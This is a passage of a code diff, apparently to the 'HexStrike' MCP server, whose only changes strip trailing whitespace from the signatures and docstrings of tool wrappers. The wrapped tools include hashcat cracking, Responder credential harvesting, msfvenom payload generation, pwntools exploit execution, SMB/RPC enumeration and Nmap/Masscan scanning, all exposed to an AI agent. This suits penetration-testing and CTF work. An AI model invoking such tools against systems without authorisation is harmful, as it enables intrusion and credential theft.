     def hashcat_crack(hash_file: str, hash_type: str, attack_mode: str = "0", wordlist: str = "/usr/share/wordlists/rockyou.txt", mask: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Hashcat for advanced password cracking with enhanced logging.
-        
+
         Args:
             hash_file: File containing password hashes
             hash_type: Hash type number for Hashcat
@@ -1322,7 +1322,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             wordlist: Wordlist file for dictionary attacks
             mask: Mask for mask attacks
             additional_args: Additional Hashcat arguments
-            
+
         Returns:
             Password cracking results
         """
@@ -1346,13 +1346,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def subfinder_scan(domain: str, silent: bool = True, all_sources: bool = False, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Subfinder for passive subdomain enumeration with enhanced logging.
-        
+
         Args:
             domain: The target domain
             silent: Run in silent mode
             all_sources: Use all sources
             additional_args: Additional Subfinder arguments
-            
+
         Returns:
             Passive subdomain enumeration results
         """
@@ -1374,14 +1374,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def smbmap_scan(target: str, username: str = "", password: str = "", domain: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute SMBMap for SMB share enumeration with enhanced logging.
-        
+
         Args:
             target: The target IP address
             username: Username for authentication
             password: Password for authentication
             domain: Domain for authentication
             additional_args: Additional SMBMap arguments
-            
+
         Returns:
             SMB share enumeration results
         """
@@ -1405,12 +1405,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     # ============================================================================
 
     @mcp.tool()
-    def rustscan_fast_scan(target: str, ports: str = "", ulimit: int = 5000, 
-                          batch_size: int = 4500, timeout: int = 1500, 
+    def rustscan_fast_scan(target: str, ports: str = "", ulimit: int = 5000,
+                          batch_size: int = 4500, timeout: int = 1500,
                           scripts: bool = False, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Rustscan for ultra-fast port scanning with enhanced logging.
-        
+
         Args:
             target: The target IP address or hostname
             ports: Specific ports to scan (e.g., "22,80,443")
@@ -1419,7 +1419,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             timeout: Timeout in milliseconds
             scripts: Run Nmap scripts on discovered ports
             additional_args: Additional Rustscan arguments
-            
+
         Returns:
             Ultra-fast port scanning results
         """
@@ -1441,12 +1441,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def masscan_high_speed(target: str, ports: str = "1-65535", rate: int = 1000, 
-                          interface: str = "", router_mac: str = "", source_ip: str = "", 
+    def masscan_high_speed(target: str, ports: str = "1-65535", rate: int = 1000,
+                          interface: str = "", router_mac: str = "", source_ip: str = "",
                           banners: bool = False, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Masscan for high-speed Internet-scale port scanning with intelligent rate limiting.
-        
+
         Args:
             target: The target IP address or CIDR range
             ports: Port range to scan
@@ -1456,7 +1456,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             source_ip: Source IP address
             banners: Enable banner grabbing
             additional_args: Additional Masscan arguments
-            
+
         Returns:
             High-speed port scanning results with intelligent rate limiting
         """
@@ -1479,13 +1479,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def nmap_advanced_scan(target: str, scan_type: str = "-sS", ports: str = "", 
-                          timing: str = "T4", nse_scripts: str = "", os_detection: bool = False, 
-                          version_detection: bool = False, aggressive: bool = False, 
+    def nmap_advanced_scan(target: str, scan_type: str = "-sS", ports: str = "",
+                          timing: str = "T4", nse_scripts: str = "", os_detection: bool = False,
+                          version_detection: bool = False, aggressive: bool = False,
                           stealth: bool = False, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute advanced Nmap scans with custom NSE scripts and optimized timing.
-        
+
         Args:
             target: The target IP address or hostname
             scan_type: Nmap scan type (e.g., -sS, -sT, -sU)
@@ -1497,7 +1497,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             aggressive: Enable aggressive scanning
             stealth: Enable stealth mode
             additional_args: Additional Nmap arguments
-            
+
         Returns:
             Advanced Nmap scanning results with custom NSE scripts
         """
@@ -1522,13 +1522,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def autorecon_comprehensive(target: str, output_dir: str = "/tmp/autorecon", 
-                               port_scans: str = "top-100-ports", service_scans: str = "default", 
-                               heartbeat: int = 60, timeout: int = 300, 
+    def autorecon_comprehensive(target: str, output_dir: str = "/tmp/autorecon",
+                               port_scans: str = "top-100-ports", service_scans: str = "default",
+                               heartbeat: int = 60, timeout: int = 300,
                                additional_args: str = "") -> Dict[str, Any]:
         """
         Execute AutoRecon for comprehensive automated reconnaissance.
-        
+
         Args:
             target: The target IP address or hostname
             output_dir: Output directory for results
@@ -1537,7 +1537,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             heartbeat: Heartbeat interval in seconds
             timeout: Timeout for individual scans
             additional_args: Additional AutoRecon arguments
-            
+
         Returns:
             Comprehensive automated reconnaissance results
         """
@@ -1559,13 +1559,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def enum4linux_ng_advanced(target: str, username: str = "", password: str = "", 
-                               domain: str = "", shares: bool = True, users: bool = True, 
-                               groups: bool = True, policy: bool = True, 
+    def enum4linux_ng_advanced(target: str, username: str = "", password: str = "",
+                               domain: str = "", shares: bool = True, users: bool = True,
+                               groups: bool = True, policy: bool = True,
                                additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Enum4linux-ng for advanced SMB enumeration with enhanced logging.
-        
+
         Args:
             target: The target IP address
             username: Username for authentication
@@ -1576,7 +1576,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             groups: Enumerate groups
             policy: Enumerate policies
             additional_args: Additional Enum4linux-ng arguments
-            
+
         Returns:
             Advanced SMB enumeration results
         """
@@ -1600,12 +1600,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def rpcclient_enumeration(target: str, username: str = "", password: str = "", 
-                             domain: str = "", commands: str = "enumdomusers;enumdomgroups;querydominfo", 
+    def rpcclient_enumeration(target: str, username: str = "", password: str = "",
+                             domain: str = "", commands: str = "enumdomusers;enumdomgroups;querydominfo",
                              additional_args: str = "") -> Dict[str, Any]:
         """
         Execute rpcclient for RPC enumeration with enhanced logging.
-        
+
         Args:
             target: The target IP address
             username: Username for authentication
@@ -1613,7 +1613,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             domain: Domain for authentication
             commands: Semicolon-separated RPC commands
             additional_args: Additional rpcclient arguments
-            
+
         Returns:
             RPC enumeration results
         """
@@ -1634,17 +1634,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def nbtscan_netbios(target: str, verbose: bool = False, timeout: int = 2, 
+    def nbtscan_netbios(target: str, verbose: bool = False, timeout: int = 2,
                        additional_args: str = "") -> Dict[str, Any]:
         """
         Execute nbtscan for NetBIOS name scanning with enhanced logging.
-        
+
         Args:
             target: The target IP address or range
             verbose: Enable verbose output
             timeout: Timeout in seconds
             additional_args: Additional nbtscan arguments
-            
+
         Returns:
             NetBIOS name scanning results
         """
@@ -1663,11 +1663,11 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def arp_scan_discovery(target: str = "", interface: str = "", local_network: bool = False, 
+    def arp_scan_discovery(target: str = "", interface: str = "", local_network: bool = False,
                           timeout: int = 500, retry: int = 3, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute arp-scan for network discovery with enhanced logging.
-        
+
         Args:
             target: The target IP range (if not using local_network)
             interface: Network interface to use
@@ -1675,7 +1675,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             timeout: Timeout in milliseconds
             retry: Number of retries
             additional_args: Additional arp-scan arguments
-            
+
         Returns:
             Network discovery results via ARP scanning
         """
@@ -1696,13 +1696,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def responder_credential_harvest(interface: str = "eth0", analyze: bool = False, 
-                                   wpad: bool = True, force_wpad_auth: bool = False, 
-                                   fingerprint: bool = False, duration: int = 300, 
+    def responder_credential_harvest(interface: str = "eth0", analyze: bool = False,
+                                   wpad: bool = True, force_wpad_auth: bool = False,
+                                   fingerprint: bool = False, duration: int = 300,
                                    additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Responder for credential harvesting with enhanced logging.
-        
+
         Args:
             interface: Network interface to use
             analyze: Analyze mode only
@@ -1711,7 +1711,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             fingerprint: Fingerprint mode
             duration: Duration to run in seconds
             additional_args: Additional Responder arguments
-            
+
         Returns:
             Credential harvesting results
         """
@@ -1736,13 +1736,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def volatility_analyze(memory_file: str, plugin: str, profile: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Volatility for memory forensics analysis with enhanced logging.
-        
+
         Args:
             memory_file: Path to memory dump file
             plugin: Volatility plugin to use
             profile: Memory profile to use
             additional_args: Additional Volatility arguments
-            
+
         Returns:
             Memory forensics analysis results
         """
@@ -1764,7 +1764,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def msfvenom_generate(payload: str, format_type: str = "", output_file: str = "", encoder: str = "", iterations: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute MSFVenom for payload generation with enhanced logging.
-        
+
         Args:
             payload: The payload to generate
             format_type: Output format (exe, elf, raw, etc.)
@@ -1772,7 +1772,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             encoder: Encoder to use
             iterations: Number of encoding iterations
             additional_args: Additional MSFVenom arguments
-            
+
         Returns:
             Payload generation results
         """
@@ -1800,13 +1800,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def gdb_analyze(binary: str, commands: str = "", script_file: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute GDB for binary analysis and debugging with enhanced logging.
-        
+
         Args:
             binary: Path to the binary file
             commands: GDB commands to execute
             script_file: Path to GDB script file
             additional_args: Additional GDB arguments
-            
+
         Returns:
             Binary analysis results
         """
@@ -1828,12 +1828,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def radare2_analyze(binary: str, commands: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Radare2 for binary analysis and reverse engineering with enhanced logging.
-        
+
         Args:
             binary: Path to the binary file
             commands: Radare2 commands to execute
             additional_args: Additional Radare2 arguments
-            
+
         Returns:
             Binary analysis results
         """
@@ -1854,12 +1854,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def binwalk_analyze(file_path: str, extract: bool = False, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Binwalk for firmware and file analysis with enhanced logging.
-        
+
         Args:
             file_path: Path to the file to analyze
             extract: Whether to extract discovered files
             additional_args: Additional Binwalk arguments
-            
+
         Returns:
             Firmware analysis results
         """
@@ -1880,12 +1880,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def ropgadget_search(binary: str, gadget_type: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Search for ROP gadgets in a binary using ROPgadget with enhanced logging.
-        
+
         Args:
             binary: Path to the binary file
             gadget_type: Type of gadgets to search for
             additional_args: Additional ROPgadget arguments
-            
+
         Returns:
             ROP gadget search results
         """
@@ -1906,10 +1906,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def checksec_analyze(binary: str) -> Dict[str, Any]:
         """
         Check security features of a binary with enhanced logging.
-        
+
         Args:
             binary: Path to the binary file
-            
+
         Returns:
             Security features analysis results
         """
@@ -1928,13 +1928,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def xxd_hexdump(file_path: str, offset: str = "0", length: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Create a hex dump of a file using xxd with enhanced logging.
-        
+
         Args:
             file_path: Path to the file
             offset: Offset to start reading from
             length: Number of bytes to read
             additional_args: Additional xxd arguments
-            
+
         Returns:
             Hex dump results
         """
@@ -1956,12 +1956,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def strings_extract(file_path: str, min_len: int = 4, additional_args: str = "") -> Dict[str, Any]:
         """
         Extract strings from a binary file with enhanced logging.
-        
+
         Args:
             file_path: Path to the file
             min_len: Minimum string length
             additional_args: Additional strings arguments
-            
+
         Returns:
             String extraction results
         """
@@ -1982,12 +1982,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def objdump_analyze(binary: str, disassemble: bool = True, additional_args: str = "") -> Dict[str, Any]:
         """
         Analyze a binary using objdump with enhanced logging.
-        
+
         Args:
             binary: Path to the binary file
             disassemble: Whether to disassemble the binary
             additional_args: Additional objdump arguments
-            
+
         Returns:
             Binary analysis results
         """
@@ -2009,12 +2009,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     # ============================================================================
 
     @mcp.tool()
-    def ghidra_analysis(binary: str, project_name: str = "hexstrike_analysis", 
-                       script_file: str = "", analysis_timeout: int = 300, 
+    def ghidra_analysis(binary: str, project_name: str = "hexstrike_analysis",
+                       script_file: str = "", analysis_timeout: int = 300,
                        output_format: str = "xml", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Ghidra for advanced binary analysis and reverse engineering.
-        
+
         Args:
             binary: Path to the binary file
             project_name: Ghidra project name
@@ -2022,7 +2022,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             analysis_timeout: Analysis timeout in seconds
             output_format: Output format (xml, json)
             additional_args: Additional Ghidra arguments
-            
+
         Returns:
             Advanced binary analysis results from Ghidra
         """
@@ -2043,12 +2043,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def pwntools_exploit(script_content: str = "", target_binary: str = "", 
-                        target_host: str = "", target_port: int = 0, 
+    def pwntools_exploit(script_content: str = "", target_binary: str = "",
+                        target_host: str = "", target_port: int = 0,
                         exploit_type: str = "local", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Pwntools for exploit development and automation.
-        
+
         Args:
             script_content: Python script content using pwntools
             target_binary: Local binary to exploit
@@ -2056,7 +2056,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             target_port: Remote port to connect to
             exploit_type: Type of exploit (local, remote, format_string, rop)
             additional_args: Additional arguments
-            
+
         Returns:
             Exploit execution results
         """
@@ -2080,12 +2080,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def one_gadget_search(libc_path: str, level: int = 1, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute one_gadget to find one-shot RCE gadgets in libc.
-        
+
         Args:
             libc_path: Path to libc binary
             level: Constraint level (0, 1, 2)
             additional_args: Additional one_gadget arguments
-            
+
         Returns:
             One-shot RCE gadget search results
         """
@@ -2103,17 +2103,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def libc_database_lookup(action: str = "find", symbols: str = "", 
+    def libc_database_lookup(action: str = "find", symbols: str = "",
                             libc_id: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute libc-database for libc identification and offset lookup.
-        
+
         Args:
             action: Action to perform (find, dump, download)
             symbols: Symbols with offsets for find action (format: "symbol1:offset1 symbol2:offset2")
             libc_id: Libc ID for dump/download actions
             additional_args: Additional arguments
-            
+
         Returns:
             Libc database lookup results
         """
@@ -2132,18 +2132,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def gdb_peda_debug(binary: str = "", commands: str = "", attach_pid: int = 0, 
+    def gdb_peda_debug(binary: str = "", commands: str = "", attach_pid: int = 0,
                       core_file: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute GDB with PEDA for enhanced debugging and exploitation.
-        
+
         Args:
             binary: Binary to debug
             commands: GDB commands to execute
             attach_pid: Process ID to attach to
             core_file: Core dump file to analyze
             additional_args: Additional GDB arguments
-            
+
         Returns:
             Enhanced debugging results with PEDA
         """
@@ -2163,12 +2163,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def angr_symbolic_execution(binary: str, script_content: str = "", 
-                               find_address: str = "", avoid_addresses: str = "", 
+    def angr_symbolic_execution(binary: str, script_content: str = "",
+                               find_address: str = "", avoid_addresses: str = "",
                                analysis_type: str = "symbolic", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute angr for symbolic execution and binary analysis.
-        
+
         Args:
             binary: Binary to analyze
             script_content: Custom angr script content
@@ -2176,7 +2176,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             avoid_addresses: Comma-separated addresses to avoid
             analysis_type: Type of analysis (symbolic, cfg, static)
             additional_args: Additional arguments
-            
+
         Returns:
             Symbolic execution and binary analysis results
         """
@@ -2197,12 +2197,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def ropper_gadget_search(binary: str, gadget_type: str = "rop", quality: int = 1, 
-                            arch: str = "", search_string: str = "", 
+    def ropper_gadget_search(binary: str, gadget_type: str = "rop", quality: int = 1,
+                            arch: str = "", search_string: str = "",
                             additional_args: str = "") -> Dict[str, Any]:
         """
         Execute ropper for advanced ROP/JOP gadget searching.
-        
+
         Args:
             binary: Binary to search for gadgets
             gadget_type: Type of gadgets (rop, jop, sys, all)
@@ -2210,7 +2210,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             arch: Target architecture (x86, x86_64, arm, etc.)
             search_string: Specific gadget pattern to search for
             additional_args: Additional ropper arguments
-            
+
         Returns:
             Advanced ROP/JOP gadget search results
         """
@@ -2231,18 +2231,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def pwninit_setup(binary: str, libc: str = "", ld: str = "", 
+    def pwninit_setup(binary: str, libc: str = "", ld: str = "",
                      template_type: str = "python", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute pwninit for CTF binary exploitation setup.
-        
+
         Args:
             binary: Binary file to set up
             libc: Libc file to use
             ld: Loader file to use
             template_type: Template type (python, c)
             additional_args: Additional pwninit arguments
-            
+
         Returns:
             CTF binary exploitation setup results
         """
@@ -2265,13 +2265,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def feroxbuster_scan(url: str, wordlist: str = "/usr/share/wordlists/dirb/common.txt", threads: int = 10, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Feroxbuster for recursive content discovery with enhanced logging.
-        
+
         Args:
             url: The target URL
             wordlist: Wordlist file to use
             threads: Number of threads
             additional_args: Additional Feroxbuster arguments
-            
+
         Returns:
             Content discovery results
         """
@@ -2293,12 +2293,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def dotdotpwn_scan(target: str, module: str = "http", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute DotDotPwn for directory traversal testing with enhanced logging.
-        
+
         Args:
             target: The target hostname or IP
             module: Module to use (http, ftp, tftp, etc.)
             additional_args: Additional DotDotPwn arguments
-            
+
         Returns:
             Directory traversal test results
         """
@@ -2319,12 +2319,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def xsser_scan(url: str, params: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute XSSer for XSS vulnerability testing with enhanced logging.
-        
+
         Args:
             url: The target URL
             params: Parameters to test
             additional_args: Additional XSSer arguments
-            
+
         Returns:
             XSS vulnerability test results
         """
@@ -2345,12 +2345,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def wfuzz_scan(url: str, wordlist: str = "/usr/share/wordlists/dirb/common.txt", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Wfuzz for web application fuzzing with enhanced logging.
-        
+
         Args:
             url: The target URL (use FUZZ where you want to inject payloads)
             wordlist: Wordlist file to use
             additional_args: Additional Wfuzz arguments
-            
+
         Returns:
             Web application fuzzing results
         """
@@ -2372,12 +2372,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     # ============================================================================
 
     @mcp.tool()
-    def dirsearch_scan(url: str, extensions: str = "php,html,js,txt,xml,json", 
-                      wordlist: str = "/usr/share/wordlists/dirsearch/common.txt", 
+    def dirsearch_scan(url: str, extensions: str = "php,html,js,txt,xml,json",
+                      wordlist: str = "/usr/share/wordlists/dirsearch/common.txt",
                       threads: int = 30, recursive: bool = False, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Dirsearch for advanced directory and file discovery with enhanced logging.
-        
+
         Args:
             url: The target URL
             extensions: File extensions to search for
@@ -2385,7 +2385,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             threads: Number of threads to use
             recursive: Enable recursive scanning
             additional_args: Additional Dirsearch arguments
-            
+
         Returns:
             Advanced directory discovery results
         """
@@ -2406,12 +2406,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def katana_crawl(url: str, depth: int = 3, js_crawl: bool = True, 
-                    form_extraction: bool = True, output_format: str = "json", 
+    def katana_crawl(url: str, depth: int = 3, js_crawl: bool = True,
+                    form_extraction: bool = True, output_format: str = "json",
                     additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Katana for next-generation crawling and spidering with enhanced logging.
-        
+
         Args:
             url: The target URL to crawl
             depth: Crawling depth
@@ -2419,7 +2419,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             form_extraction: Enable form extraction
             output_format: Output format (json, txt)
             additional_args: Additional Katana arguments
-            
+
         Returns:
             Advanced web crawling results with endpoints and forms
         """
@@ -2440,19 +2440,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def gau_discovery(domain: str, providers: str = "wayback,commoncrawl,otx,urlscan", 
-                     include_subs: bool = True, blacklist: str = "png,jpg,gif,jpeg,swf,woff,svg,pdf,css,ico", 
+    def gau_discovery(domain: str, providers: str = "wayback,commoncrawl,otx,urlscan",
+                     include_subs: bool = True, blacklist: str = "png,jpg,gif,jpeg,swf,woff,svg,pdf,css,ico",
                      additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Gau (Get All URLs) for URL discovery from multiple sources with enhanced logging.
-        
+
         Args:
             domain: The target domain
             providers: Data providers to use
             include_subs: Include subdomains
             blacklist: File extensions to blacklist
             additional_args: Additional Gau arguments
-            
+
         Returns:
             Comprehensive URL discovery results from multiple sources
         """
@@ -2472,17 +2472,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def waybackurls_discovery(domain: str, get_versions: bool = False, 
+    def waybackurls_discovery(domain: str, get_versions: bool = False,
                              no_subs: bool = False, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Waybackurls for historical URL discovery with enhanced logging.
-        
+
         Args:
             domain: The target domain
             get_versions: Get all versions of URLs
             no_subs: Don't include subdomains
             additional_args: Additional Waybackurls arguments
-            
+
         Returns:
             Historical URL discovery results from Wayback Machine
         """
@@ -2501,12 +2501,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def arjun_parameter_discovery(url: str, method: str = "GET", wordlist: str = "", 
-                                 delay: int = 0, threads: int = 25, stable: bool = False, 
+    def arjun_parameter_discovery(url: str, method: str = "GET", wordlist: str = "",
+                                 delay: int = 0, threads: int = 25, stable: bool = False,
                                  additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Arjun for HTTP parameter discovery with enhanced logging.
-        
+
         Args:
             url: The target URL
             method: HTTP method to use
@@ -2515,7 +2515,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             threads: Number of threads
             stable: Use stable mode
             additional_args: Additional Arjun arguments
-            
+
         Returns:
             HTTP parameter discovery results
         """
@@ -2537,19 +2537,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def paramspider_mining(domain: str, level: int = 2, 
-                          exclude: str = "png,jpg,gif,jpeg,swf,woff,svg,pdf,css,ico", 
+    def paramspider_mining(domain: str, level: int = 2,
+                          exclude: str = "png,jpg,gif,jpeg,swf,woff,svg,pdf,css,ico",
                           output: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute ParamSpider for parameter mining from web archives with enhanced logging.
-        
+
         Args:
             domain: The target domain
             level: Mining level depth
             exclude: File extensions to exclude
             output: Output file path
             additional_args: Additional ParamSpider arguments
-            
+
         Returns:
             Parameter mining results from web archives
         """
@@ -2569,12 +2569,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def x8_parameter_discovery(url: str, wordlist: str = "/usr/share/wordlists/x8/params.txt", 
-                              method: str = "GET", body: str = "", headers: str = "", 
+    def x8_parameter_discovery(url: str, wordlist: str = "/usr/share/wordlists/x8/params.txt",
+                              method: str = "GET", body: str = "", headers: str = "",
                               additional_args: str = "") -> Dict[str, Any]:
         """
         Execute x8 for hidden parameter discovery with enhanced logging.
-        
+
         Args:
             url: The target URL
             wordlist: Parameter wordlist
@@ -2582,7 +2582,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             body: Request body
             headers: Custom headers
             additional_args: Additional x8 arguments
-            
+
         Returns:
             Hidden parameter discovery results
         """
@@ -2603,12 +2603,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def jaeles_vulnerability_scan(url: str, signatures: str = "", config: str = "", 
-                                 threads: int = 20, timeout: int = 20, 
+    def jaeles_vulnerability_scan(url: str, signatures: str = "", config: str = "",
+                                 threads: int = 20, timeout: int = 20,
                                  additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Jaeles for advanced vulnerability scanning with custom signatures.
-        
+
         Args:
             url: The target URL
             signatures: Custom signature path
@@ -2616,7 +2616,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             threads: Number of threads
             timeout: Request timeout
             additional_args: Additional Jaeles arguments
-            
+
         Returns:
             Advanced vulnerability scanning results with custom signatures
         """
@@ -2637,12 +2637,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def dalfox_xss_scan(url: str, pipe_mode: bool = False, blind: bool = False, 
-                       mining_dom: bool = True, mining_dict: bool = True, 
+    def dalfox_xss_scan(url: str, pipe_mode: bool = False, blind: bool = False,
+                       mining_dom: bool = True, mining_dict: bool = True,
                        custom_payload: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Dalfox for advanced XSS vulnerability scanning with enhanced logging.
-        
+
         Args:
             url: The target URL
             pipe_mode: Use pipe mode for input
@@ -2651,7 +2651,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             mining_dict: Enable dictionary mining
             custom_payload: Custom XSS payload
             additional_args: Additional Dalfox arguments
-            
+
         Returns:
             Advanced XSS vulnerability scanning results
         """
@@ -2673,13 +2673,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def httpx_probe(target: str, probe: bool = True, tech_detect: bool = False, 
-                   status_code: bool = False, content_length: bool = False, 
-                   title: bool = False, web_server: bool = False, threads: int = 50, 
+    def httpx_probe(target: str, probe: bool = True, tech_detect: bool = False,
+                   status_code: bool = False, content_length: bool = False,
+                   title: bool = False, web_server: bool = False, threads: int = 50,
                    additional_args: str = "") -> Dict[str, Any]:
         """
         Execute httpx for fast HTTP probing and technology detection.
-        
+
         Args:
             target: Target file or single URL
             probe: Enable probing
@@ -2690,7 +2690,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             web_server: Show web server
             threads: Number of threads
             additional_args: Additional httpx arguments
-            
+
         Returns:
             Fast HTTP probing results with technology detection
         """
@@ -2714,16 +2714,16 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def anew_data_processing(input_data: str, output_file: str = "", 
+    def anew_data_processing(input_data: str, output_file: str = "",
                             additional_args: str = "") -> Dict[str, Any]:
         """
         Execute anew for appending new lines to files (useful for data processing).
-        
+
         Args:
             input_data: Input data to process
             output_file: Output file path
             additional_args: Additional anew arguments
-            
+
         Returns:
             Data processing results with unique line filtering
         """
@@ -2741,16 +2741,16 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def qsreplace_parameter_replacement(urls: str, replacement: str = "FUZZ", 
